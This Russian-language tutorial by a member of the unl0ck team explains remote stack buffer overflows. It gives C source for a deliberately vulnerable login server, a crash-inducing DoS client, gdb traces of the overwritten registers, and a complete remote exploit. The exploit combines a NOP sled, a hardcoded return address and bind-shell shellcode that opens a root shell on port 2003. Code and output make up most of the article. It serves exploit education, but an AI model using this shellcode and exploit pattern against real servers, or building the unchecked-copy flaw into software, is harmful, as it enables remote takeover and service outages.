• Партнер

  • Читая множество документов по переполнению буфера,
    технике переполнения буфера, я заметил, что во всех
    мануалах, описываются только локальные переполнения,
    а об удаленных ни слова… В данной статье я хотел бы
    восполнить этот пробел и объяснить вам технику удаленного переполнения буфера. Речь у нас пойдет о том,
    как написать клиента для переполнения
    буфера удаленного сервера... В данной статье мы напишем уязвимый сервер
    и клиента, который будет переполнять буфер у удаленного сервера с исполнением шеллкода... 

    Скажу то, что клиент и сервер я взял у авторитетной
    security-team - w00w00, в их архивах w00giving в раз деле
    LibExploit. Я его немного подкорректировал (убрал библиотеку LibExploit), чтобы клиент мог исполняться на вашей системе без всяких проблем...

    Итак, вот серверная часть:

    [= Server =]

    /*
    * our buggy server
    */

    #include
    #include
    #include

    #define BUFFER_SIZE 1024
    #define NAME_SIZE 2048
    #define NO -1

    int handling_client(int c) {
    char buffer[BUFFER_SIZE], name[NAME_SIZE];
    int bytes;

    strcpy(buffer, "Login : ");
    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == NO)
    return NO;

    bytes = recv(c, name, sizeof(name), 0);
    if (bytes == NO)
    return NO;

    name[bytes - 1] = '\0';

    sprintf(buffer, "Hello %s!\r\n", name);
    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == NO)
    return NO;

    return 0;
    }

    int main(int argc, char *argv[]) {
    int Sock, con, client_size;
    struct sockaddr_in srv, cli;

    if (argc != 2) {
    fprintf(stderr, "usage: %s port\n", argv[0]);
    return 1;
    }

    Sock = socket(AF_INET, SOCK_STREAM, 0);
    if (Sock == NO) {
    perror("socket() failed");
    return 2;
    }

    srv.sin_addr.s_addr = INADDR_ANY;
    srv.sin_port = htons( (unsigned short int) atol(argv[1]));
    srv.sin_family = AF_INET;

    if (bind(Sock, &srv, sizeof(srv)) == NO) {
    perror("bind() failed");
    return 3;
    }

    if (listen(Sock, 3) == NO) {
    perror("listen() failed");
    return 4;
    }

    for(;;) {
    con = accept(Sock, &cli, &client_size);
    if (con == NO) {
    perror("accept() failed");
    return 5;
    }

    if (handling_client(con) == NO)
    fprintf(stderr, "%s: handling() failed", argv[0]);
    close(con);
    }
    return 0;
    }
    /* E0F */

    [= Server =]

    Хочу пояснить принцип действия серверной части:
    сервер запускается на определенном порту и выводит
    приглашение "Login" при подключении к нему клиентской части. Нетрудно догадаться, что размер Login
    (buf) ограничен - 1024 байт, а размер переменной
    name - 2048. Скажу, что в переменную name заносится
    значение Login. Далее полученная строка копируется
    в buf, и выводится сообщение вида : "Hello %s", где
    %s веденное значение в поле Login (т.е. name). Ошибка заключается в том, что при вводе в поле Login слишком большее кол-во символов (более 1064), приводит
    к тому, что сервер вылетит... Напомню, почему именно
    1064, а не 1024, так это потому, что 1024 - сама строка, при вводе
    1024 байт сервер не упадет, т.к. значение регистров не поменяются, 1064 байт, это значение при котором регистры затрутся и переполнят стек.

    Идем далее...

    Я предлагаю написать программу, которая будет укладывать сервер в даун. Т.е. программу -
    DoS.

    [= DoS client =]

    #include
    #include
    #include

    int main(int argc, char *argv[])
    {
    int i, sock;
    char buf[1064];
    struct sockaddr_in tgt;

    if (argc < 2) { printf("usage : dos \n\n");
    return 0;
    }

    tgt.sin_family = AF_INET;
    tgt.sin_port = htons(atoi(argv[2]));
    tgt.sin_addr.s_addr = inet_addr(argv[1]);

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    for (i = 0; i < 1064; i++) buf[i] = 'A'; connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
    send(sock, buf, sizeof(buf), 0);
    close(sock);
    }

    [= DoS client =]

    Думаю разобраться в этой программе очень легко,
    т.к. в ней особо то сложного и нет. Программа просто соединятся с серверной частью и посылает ей данные - 1064 байт.

    Предлагаю откомпилировать наш сервер и запустить.

    [root@localhost home]# gcc server.c -o server
    [root@localhost home]# ./server 12345

    Итак мы запустили наш сервер на 12345-ом порту.
    Давайте просто соединимся с ним при помощи стандартного telnet-клиента.

    [root@localhost home]# telnet 127.0.0.1 12345
    Trying 127.0.0.1...
    Connected to localhost (127.0.0.1).
    Escape character is '^]'.
    Login : root
    Hello root!
    Connection closed by foreign host.
    [root@localhost home]#

    Как видно сервер просто копирует введенное значение и
    выводит сообщение на экран. Теперь давайте запустим наш сервер в gdb и откомпилируем наш DoS клиент, и попытаемся запустить его на наш сервер.

    [root@localhost home]# gdb server
    GNU gdb 6.0-2mdk (Mandrake Linux)
    Copyright 2003 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for details.
    This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

    (gdb) r 12345
    Starting program: /home/server 12345

    Программа стартовала в gdb, теперь откомпилируйте dos
    клиент и запустите его...

    [root@localhost home]# gcc dos.c -o dos
    [root@localhost home]# ./dos 127.0.0.1 12345
    [root@localhost home]#

    Взглянем на окно, где запущен сервер в gdb...

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb)

    Опа... Сервер завершился с ошибкой "Segmentation
    fault" Это говорит о том, что мы затерли значение регистров...
    0x41414141 in ?? () - эта строка говорит о том, что наша
    программа обратилась по адресу 0x41414141 и в итоге завершилась...
    Давайте взглянем на значения регистров...

    (gdb) x/x $esp
    0xbffff750: 0x41414141
    (gdb)

    Если вы знакомы с техникой переполнения, то вам скорее
    уже все понятно... Скажу, что регистр $esp указывает на
    значение 0x41414141.

    Взглянем на другие важные регистры стека...

    (gdb) i reg ebp eip
    ebp 0x41414141 0x41414141
    eip 0x41414141 0x41414141
    (gdb)

    Эти регистры затерлись значением "A" в hex формате...
    Такс... Мы можем взять значение $esp за retaddr... Но
    для большей уверенности давайте взглянем на стек изнутри...

    (gdb) x/500bx $esp-500
    0xbffff55c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff564: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff56c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff574: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff57c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff584: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff58c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff594: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff59c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff684: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff68c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff694: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff69c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    ---Type to continue, or q to quit---
    0xbffff6ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff704: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff70c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff714: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff74c: 0x41 0x41 0x41 0x41

    Вот это да... Скажу то, что мы можем со 100% уверенностью
    можем взять за значение retaddr что-то из этого :

    0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

    Т.к. они указывают на наш адрес (0x41414141), т.е. "A"
    (hex), следовательно при правильном формировании выполнят наш заветный шеллкод.

    Итак хватит теории перейдем к практике... Теперь я предлагаю написать клиента, который будет соединяться с сервером и
    передавать ей NOP+SHELLCODE+RET... Далее шеллкод будет исполняться на удаленной машите...

    [= Remote Exloit =]
    /*
    * Exploit to overflow server program.
    * Third example without using LibExploit 🙂
    *
    * Remote buffer overflow exploit.
    *
    */

    #include
    #include
    #include

    static char shellcode[]= // Bind 2003 PORT
    "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\ x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
    "\x31\xc0\x89\x45\x10\x40\x89\xc3\ x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
    "\x08\xb0\x66\xcd\x80\x89\x45\x08\ x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
    "\x07\xd3\x31\xd2\x89\x55\x18\x8d\ x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
    "\xb0\x66\xcd\x80\x40\x89\x45\x0c\ x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
    "\x0c\x89\x45\x10\xb0\x66\xcd\x80\ x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
    "\x80\xf9\x03\x75\xf6\x31\xd2\x52\ x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x52\x53\x89\xe1\xb0\ x0b\xcd\x80";

    #define RET 0xbffff688

    int main(int argc, char *argv[])
    {
    char buffer[1064];
    int s, i, size;
    struct sockaddr_in remote;

    printf("using : 0x%x\n",RET);

    if (argc != 3)
    {
    printf("usage : exploit ip port!\n");
    return 0;
    }

    memset(buffer, 0x90, 1064);
    memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
    buffer[1000] = 0x90;
    for (i = 1022; i < 1062; i+=4) {
    *((int *)&buffer[i]) = RET;
    }

    buffer[1063] = 0x0;

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    remote.sin_family = AF_INET;
    remote.sin_port = htons(atoi(argv[2]));
    remote.sin_addr.s_addr = inet_addr(argv[1]);

    connect(s, (struct sockaddr *)&remote, sizeof(remote));
    send(s, buffer, sizeof(buffer),0);

    close(s);
    }
    [= Remote Exloit =]

    Думаю, разобраться тут не столь сложно. Я лишь скажу, что
    сначала мы подготавливаем буфер, заполняем его NOP'ами
    в размере 1064 байт. Далее в буфер копируется шеллкод.
    Переводим 1000 байт в NOP. Потом мы засовываем указатель на наш заветный шеллкод в
    промежутке 1022 до 1059, это на подстраховку. Т.к. если
    мы засунем указатель в конец буфера, то вряд ли шеллкод
    сможет выполниться. Далее null'им 1063 байт. Т.е. конец
    буфера... Потом соединяемся с сервером и отправляем наш
    сформированный код. Осталось проверить его :

    [root@localhost home]# gcc exploit.c -o exploit
    [root@localhost home]# ./exploit 127.0.0.1 12345
    using : 0xbffff688
    [root@localhost home]# telnet 127.0.0.1 2003
    Trying 127.0.0.1...
    Connected to localhost (127.0.0.1).
    Escape character is '^]'.

    На последок можете взглянуть на окно сервера. Сервер
    не упал. Он продолжает так же усердно работать. Т.е.
    наша задача выполнена. Смею на этом отклониться...
    Желаю всяческих удач в познавании основ эксплоитинга.

    P.S. stan [unl0ck team]
    http://www.wmpnet.ru/unl0ck

    Благодарю всех членов команды unl0ck :
    stine, -coVer-, d4rkeagle.
    Так же спасибо xCrZx, т.к. шеллкод был взят из его эксплоита к mod_gzip.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии